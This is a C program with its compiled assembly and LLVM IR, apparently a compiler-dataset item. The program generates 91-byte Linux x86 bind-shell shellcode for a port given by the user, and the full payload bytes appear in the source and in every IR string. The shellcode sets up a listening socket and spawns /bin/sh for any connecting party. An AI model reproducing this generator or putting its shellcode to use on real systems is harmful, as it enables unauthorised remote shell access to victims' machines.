#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
unsigned int atoi(char *);
int /*<<< orphan*/ isdigit(char);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ strcpy(char *, char *);
int strlen(char *);
int main(int argc, char *argv[]) {
  unsigned int port;
  unsigned char low, high;
  char cmdArg[6];
  int i;
  if (argc > 1 && strlen(argv[1]) <= 5) {
    strcpy(cmdArg, argv[1]);
    for (i = 0; i < strlen(cmdArg); i++) {
      if (!isdigit(cmdArg[i])) {
        printf("Port must be a number\n");
        printf("Usage: %s <port>\n", argv[0]);
        return 1;
      }
    }
    port = atoi(cmdArg);
    high = port >> 8;
    low = (port << 8) >> 8;
  } else {
    printf("Usage: %s <port>\n", argv[0]);
    return 1;
  }
  printf("Shellcode length : 91 bytes\n"
         "Bind port (%05d): \\x%02x\\x%02x (Check for bad chars)\n\n"
         "\"\\x31\\xdb\\xf7\\xe3\\xb3\\x01\\x6a\\x06\\x53\\x6a\\x02\\x89\\xe1\\"
         "xb0\"\n"
         "\"\\x66\\x89\\xc7\\xcd\\x80\\x96\\x43\\x52\\x66\\x68\\x%02x\\x%"
         "02x\\x66\\x53\"\n"
         "\"\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x89\\xf8\\xcd\\x80\\x52\\"
         "x56\"\n"
         "\"\\xb3\\x04\\x89\\xe1\\x89\\xf8\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\"
         "xe1\"\n"
         "\"\\x89\\xf8\\xcd\\x80\\x93\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\"
         "x49\"\n"
         "\"\\x79\\xf9\\x89\\xd1\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\"
         "x69\"\n"
         "\"\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80\";\n\n",
         port, high, low, high, low);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x1,-0x8(%rbp)
jle    1239 <main+0xe9>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1050 <strlen@plt>
cmp    $0x5,%eax
jg     1239 <main+0xe9>
lea    -0x1c(%rbp),%rdi
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rsi
call   1040 <strcpy@plt>
movl   $0x0,-0x20(%rbp)
mov    -0x20(%rbp),%eax
mov    %eax,-0x24(%rbp)
lea    -0x1c(%rbp),%rdi
call   1050 <strlen@plt>
mov    %eax,%ecx
mov    -0x24(%rbp),%eax
cmp    %ecx,%eax
jge    1213 <main+0xc3>
movslq -0x20(%rbp),%rax
movsbl -0x1c(%rbp,%rax,1),%edi
call   1030 <isdigit@plt>
cmp    $0x0,%eax
jne    1200 <main+0xb0>
lea    0xe28(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
lea    0xe2a(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
movl   $0x1,-0x4(%rbp)
jmp    1284 <main+0x134>
jmp    1205 <main+0xb5>
mov    -0x20(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x20(%rbp)
jmp    119e <main+0x4e>
lea    -0x1c(%rbp),%rdi
call   1070 <atoi@plt>
mov    %eax,-0x14(%rbp)
mov    -0x14(%rbp),%eax
shr    $0x8,%eax
mov    %al,-0x16(%rbp)
mov    -0x14(%rbp),%eax
shl    $0x8,%eax
shr    $0x8,%eax
mov    %al,-0x15(%rbp)
jmp    125a <main+0x10a>
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
lea    0xdd0(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
movl   $0x1,-0x4(%rbp)
jmp    1284 <main+0x134>
mov    -0x14(%rbp),%esi
movzbl -0x16(%rbp),%edx
movzbl -0x15(%rbp),%ecx
movzbl -0x16(%rbp),%r8d
movzbl -0x15(%rbp),%r9d
lea    0xdb3(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r15
push   %r14
push   %rbx
sub    $0x10,%rsp
mov    %rsi,%r15
cmp    $0x2,%edi
jl     1207 <main+0xa7>
mov    0x8(%r15),%rdi
call   1060 <strlen@plt>
cmp    $0x5,%eax
jg     1207 <main+0xa7>
mov    0x8(%r15),%rsi
lea    0xa(%rsp),%r14
mov    %r14,%rdi
call   1040 <strcpy@plt>
mov    %r14,%rdi
call   1060 <strlen@plt>
test   %eax,%eax
jle    11d1 <main+0x71>
xor    %ebx,%ebx
lea    0xa(%rsp),%r14
nopl   0x0(%rax,%rax,1)
movsbl 0xa(%rsp,%rbx,1),%edi
call   1030 <isdigit@plt>
test   %eax,%eax
je     11fb <main+0x9b>
add    $0x1,%rbx
mov    %r14,%rdi
call   1060 <strlen@plt>
cltq
cmp    %rax,%rbx
jl     11b0 <main+0x50>
lea    0xa(%rsp),%rdi
call   1080 <atoi@plt>
movzbl %ah,%edx
movzbl %al,%ecx
lea    0xe2a(%rip),%rdi
xor    %ebx,%ebx
mov    %eax,%esi
mov    %edx,%r8d
mov    %ecx,%r9d
xor    %eax,%eax
call   1070 <printf@plt>
jmp    121d <main+0xbd>
lea    0xfea(%rip),%rdi
call   1050 <puts@plt>
mov    (%r15),%rsi
lea    0xdef(%rip),%rdi
xor    %eax,%eax
call   1070 <printf@plt>
mov    $0x1,%ebx
mov    %ebx,%eax
add    $0x10,%rsp
pop    %rbx
pop    %r14
pop    %r15
ret

LLVM IR (-O0):
@.str = [23 x i8] c"Port must be a number\0A\00"
@.str.1 = [18 x i8] c"Usage: %s <port>\0A\00"
@.str.2 = [474 x i8] c"Shellcode length : 91 bytes\0ABind port (%05d): \\x%02x\\x%02x (Check for bad chars)\0A\0A\22\\x31\\xdb\\xf7\\xe3\\xb3\\x01\\x6a\\x06\\x53\\x6a\\x02\\x89\\xe1\\xb0\22\0A\22\\x66\\x89\\xc7\\xcd\\x80\\x96\\x43\\x52\\x66\\x68\\x%02x\\x%02x\\x66\\x53\22\0A\22\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x89\\xf8\\xcd\\x80\\x52\\x56\22\0A\22\\xb3\\x04\\x89\\xe1\\x89\\xf8\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\xe1\22\0A\22\\x89\\xf8\\xcd\\x80\\x93\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\22\0A\22\\x79\\xf9\\x89\\xd1\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\22\0A\22\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80\22;\0A\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i8
%8 = alloca i8
%9 = alloca [6 x i8]
%10 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%11 = load i32, i32* %4
%12 = icmp sgt i32 %11, 1
br i1 %12, label %13, label %57
13: ; preds = %2
%14 = load i8**, i8*** %5
%15 = getelementptr inbounds i8*, i8** %14, i64 1
%16 = load i8*, i8** %15
%17 = call i32 @strlen(i8* %16)
%18 = icmp sle i32 %17, 5
br i1 %18, label %19, label %57
19: ; preds = %13
%20 = getelementptr inbounds [6 x i8], [6 x i8]* %9, i64 0, i64 0
%21 = load i8**, i8*** %5
%22 = getelementptr inbounds i8*, i8** %21, i64 1
%23 = load i8*, i8** %22
%24 = call i32 @strcpy(i8* %20, i8* %23)
store i32 0, i32* %10
br label %25
25: ; preds = %44, %19
%26 = load i32, i32* %10
%27 = getelementptr inbounds [6 x i8], [6 x i8]* %9, i64 0, i64 0
%28 = call i32 @strlen(i8* %27)
%29 = icmp slt i32 %26, %28
br i1 %29, label %30, label %47
30: ; preds = %25
%31 = load i32, i32* %10
%32 = sext i32 %31 to i64
%33 = getelementptr inbounds [6 x i8], [6 x i8]* %9, i64 0, i64 %32
%34 = load i8, i8* %33
%35 = call i32 @isdigit(i8 signext %34)
%36 = icmp ne i32 %35, 0
br i1 %36, label %43, label %37
37: ; preds = %30
%38 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str, i64 0, i64 0))
%39 = load i8**, i8*** %5
%40 = getelementptr inbounds i8*, i8** %39, i64 0
%41 = load i8*, i8** %40
%42 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.1, i64 0, i64 0), i8* %41)
store i32 1, i32* %3
br label %73
43: ; preds = %30
br label %44
44: ; preds = %43
%45 = load i32, i32* %10
%46 = add nsw i32 %45, 1
store i32 %46, i32* %10
br label %25
47: ; preds = %25
%48 = getelementptr inbounds [6 x i8], [6 x i8]* %9, i64 0, i64 0
%49 = call i32 @atoi(i8* %48)
store i32 %49, i32* %6
%50 = load i32, i32* %6
%51 = lshr i32 %50, 8
%52 = trunc i32 %51 to i8
store i8 %52, i8* %8
%53 = load i32, i32* %6
%54 = shl i32 %53, 8
%55 = lshr i32 %54, 8
%56 = trunc i32 %55 to i8
store i8 %56, i8* %7
br label %62
57: ; preds = %13, %2
%58 = load i8**, i8*** %5
%59 = getelementptr inbounds i8*, i8** %58, i64 0
%60 = load i8*, i8** %59
%61 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.1, i64 0, i64 0), i8* %60)
store i32 1, i32* %3
br label %73
62: ; preds = %47
%63 = load i32, i32* %6
%64 = load i8, i8* %8
%65 = zext i8 %64 to i32
%66 = load i8, i8* %7
%67 = zext i8 %66 to i32
%68 = load i8, i8* %8
%69 = zext i8 %68 to i32
%70 = load i8, i8* %7
%71 = zext i8 %70 to i32
%72 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([474 x i8], [474 x i8]* @.str.2, i64 0, i64 0), i32 %63, i32 %65, i32 %67, i32 %69, i32 %71)
store i32 0, i32* %3
br label %73
73: ; preds = %62, %57, %37
%74 = load i32, i32* %3
ret i32 %74
}

LLVM IR (-O2):
@.str.1 = [18 x i8] c"Usage: %s <port>\0A\00"
@.str.2 = [474 x i8] c"Shellcode length : 91 bytes\0ABind port (%05d): \\x%02x\\x%02x (Check for bad chars)\0A\0A\22\\x31\\xdb\\xf7\\xe3\\xb3\\x01\\x6a\\x06\\x53\\x6a\\x02\\x89\\xe1\\xb0\22\0A\22\\x66\\x89\\xc7\\xcd\\x80\\x96\\x43\\x52\\x66\\x68\\x%02x\\x%02x\\x66\\x53\22\0A\22\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x89\\xf8\\xcd\\x80\\x52\\x56\22\0A\22\\xb3\\x04\\x89\\xe1\\x89\\xf8\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\xe1\22\0A\22\\x89\\xf8\\xcd\\x80\\x93\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\22\0A\22\\x79\\xf9\\x89\\xd1\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\22\0A\22\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80\22;\0A\0A\00"
@str = [22 x i8] c"Port must be a number\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca [6 x i8]
%4 = getelementptr inbounds [6 x i8], [6 x i8]* %3, i64 0, i64 0
%5 = icmp sgt i32 %0, 1
br i1 %5, label %6, label %37
6: ; preds = %2
%7 = getelementptr inbounds i8*, i8** %1, i64 1
%8 = load i8*, i8** %7
%9 = tail call i32 @strlen(i8* %8)
%10 = icmp slt i32 %9, 6
br i1 %10, label %11, label %37
11: ; preds = %6
%12 = load i8*, i8** %7
%13 = call i32 @strcpy(i8* %4, i8* %12)
%14 = call i32 @strlen(i8* %4)
%15 = icmp sgt i32 %14, 0
br i1 %15, label %20, label %31
16: ; preds = %20
%17 = call i32 @strlen(i8* %4)
%18 = sext i32 %17 to i64
%19 = icmp slt i64 %26, %18
br i1 %19, label %20, label %31
20: ; preds = %11, %16
%21 = phi i64 [ %26, %16 ], [ 0, %11 ]
%22 = getelementptr inbounds [6 x i8], [6 x i8]* %3, i64 0, i64 %21
%23 = load i8, i8* %22
%24 = call i32 @isdigit(i8 signext %23)
%25 = icmp eq i32 %24, 0
%26 = add nuw nsw i64 %21, 1
br i1 %25, label %27, label %16
27: ; preds = %20
%28 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([22 x i8], [22 x i8]* @str, i64 0, i64 0))
%29 = load i8*, i8** %1
%30 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([18 x i8], [18 x i8]* @.str.1, i64 0, i64 0), i8* %29)
br label %40
31: ; preds = %16, %11
%32 = call i32 @atoi(i8* %4)
%33 = lshr i32 %32, 8
%34 = and i32 %33, 255
%35 = and i32 %32, 255
%36 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([474 x i8], [474 x i8]* @.str.2, i64 0, i64 0), i32 %32, i32 %34, i32 %35, i32 %34, i32 %35)
br label %40
37: ; preds = %6, %2
%38 = load i8*, i8** %1
%39 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([18 x i8], [18 x i8]* @.str.1, i64 0, i64 0), i8* %38)
br label %40
40: ; preds = %31, %37, %27
%41 = phi i32 [ 1, %27 ], [ 0, %31 ], [ 1, %37 ]
ret i32 %41
}